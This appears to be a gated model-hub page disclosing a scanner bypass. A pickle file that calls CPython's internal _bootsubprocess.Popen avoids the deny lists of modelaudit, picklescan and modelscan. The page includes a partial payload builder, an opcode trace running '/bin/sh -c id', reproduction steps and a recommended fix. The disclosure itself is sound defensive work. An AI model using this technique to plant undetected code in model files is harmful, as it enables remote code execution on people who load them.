You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

This repository contains a proof-of-concept exploit payload for security research purposes. Access to the pickle payload and PoC code requires acknowledgement of responsible use. By requesting access, you confirm you are a security researcher, penetration tester, or student using this material for defensive/educational purposes only.

Log in or Sign Up to review the conditions and access this model content.

_bootsubprocess.Popen β€” Internal Subprocess Bootstrap

Security Research β€” Responsible Disclosure This repository is part of a systematic study of pickle scanner bypass techniques. The payload demonstrates a detection gap in ML model security scanners. Access to malicious_model.pkl and poc.py requires a request β€” see gate above.

Summary

Scanner scores for malicious_model.pkl:

Scanner CRITICAL WARNING Bypassed?
modelaudit 0.2.37 0 1 Yes β€” 0 CRITICAL
picklescan 1.0.4 0 0 Yes
modelscan 0 0 Yes

Vulnerability

_bootsubprocess is an internal CPython module that bootstraps the subprocess module during interpreter startup β€” before the full subprocess package is available. It implements Popen natively.

_bootsubprocess.Popen(['/bin/sh', '-c', 'cmd'])

Why it bypasses: The ban operates via prefix matching: "subprocess" in ALWAYS_DANGEROUS_MODULES catches subprocess.Popen. But _bootsubprocess does NOT match this prefix β€” the underscore prefix creates a separate module namespace. This is the same gap that allows _frozen_importlib to escape the importlib ban.


Proof of Concept

malicious_model.pkl in this repository is the exploit payload. poc.py builds and tests it with full scanner output.

How the PoC was built

def build(cmd: str) -> bytes:
    """Build a protocol-2 pickle using _bootsubprocess.Popen.

    _bootsubprocess.Popen(cmd_list) β€” signature is Popen(cmd, env=None).
    Call .wait() on the returned Popen object to block until completion.
    """
    ops = bytearray(b"\x80\x02")
    ops += b"c_bootsubprocess\nPopen\n"   # GLOBAL '_bootsubprocess' 'Popen'
    ops += b"q\x00"                        # BINPUT 0

Affected file formats

Pickle (.pkl, .pt, .bin, .joblib) β€” any file deserialized via pickle.loads(), torch.load(), joblib.load(), or equivalent.

Conditions required to trigger

  1. Target calls pickle.loads(untrusted_bytes) or loads a model file via any pickle-based loader
  2. The scanner performs static analysis only (no sandboxed execution)
  3. Scanner checks GLOBAL/STACK_GLOBAL opcodes against a deny list

Reproduction Steps

# 1. Request access above, then clone
git clone https://huggingface.co/SiggytheShark/pickle-bypass-bootsubprocess-popen
cd pickle-bypass-bootsubprocess-popen

# 2. Install requirements
pip install modelaudit picklescan modelscan

# 3. Scan β€” observe scanner scores match table above
modelaudit scan malicious_model.pkl
picklescan --path malicious_model.pkl
modelscan -p malicious_model.pkl

# 4. Execute to confirm RCE/side-effect
python3 poc.py

# 5. Verify
ls /tmp/scanner_bypass_proof.txt

Security Impact

Add "_bootsubprocess" to ALWAYS_DANGEROUS_MODULES. No ML model pickle should reference CPython's internal subprocess bootstrap module.

Bypass mechanism: The payload evades static analysis while achieving its effect (code execution, file write, or network connection) when pickle.loads() is called.

Real-world scenario: An attacker uploads this payload to a model hub. A victim downloads and loads it. The scanner reports the file as safe (0 CRITICAL). The payload fires silently β€” the return value of pickle.loads() looks like a normal Python object while the side effect has already occurred.


Full Technical Writeup

_bootsubprocess.Popen β€” Internal Subprocess Bootstrap

Modelaudit score: 0 CRITICAL, 1 WARNING
picklescan score: 0 findings
modelscan score: 0 findings

Mechanism

_bootsubprocess is an internal CPython module that bootstraps the subprocess module during interpreter startup β€” before the full subprocess package is available. It implements Popen natively.

_bootsubprocess.Popen(['/bin/sh', '-c', 'cmd'])

Why it bypasses: The ban operates via prefix matching: "subprocess" in ALWAYS_DANGEROUS_MODULES catches subprocess.Popen. But _bootsubprocess does NOT match this prefix β€” the underscore prefix creates a separate module namespace. This is the same gap that allows _frozen_importlib to escape the importlib ban.

PROTO 2
GLOBAL '_bootsubprocess' 'Popen'    [WARNING β€” unlisted global]
EMPTY_LIST β†’ MARK β†’ '/bin/sh' '-c' 'id' β†’ APPENDS
TUPLE1
REDUCE  β†’ _bootsubprocess.Popen(['/bin/sh', '-c', 'id'])  β†’ RCE
STOP

Scanner Comparison

Scanner Score Mechanism
modelaudit static 0C 1W S201 WARNING β€” "non-allowlisted global: _bootsubprocess.Popen"
picklescan 0 findings _bootsubprocess not in UNSAFE_GLOBALS
modelscan 0 findings _bootsubprocess not in deny list

Recommended Fix

Add "_bootsubprocess" to ALWAYS_DANGEROUS_MODULES. No ML model pickle should reference CPython's internal subprocess bootstrap module.


General Analysis β€” Security Research

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support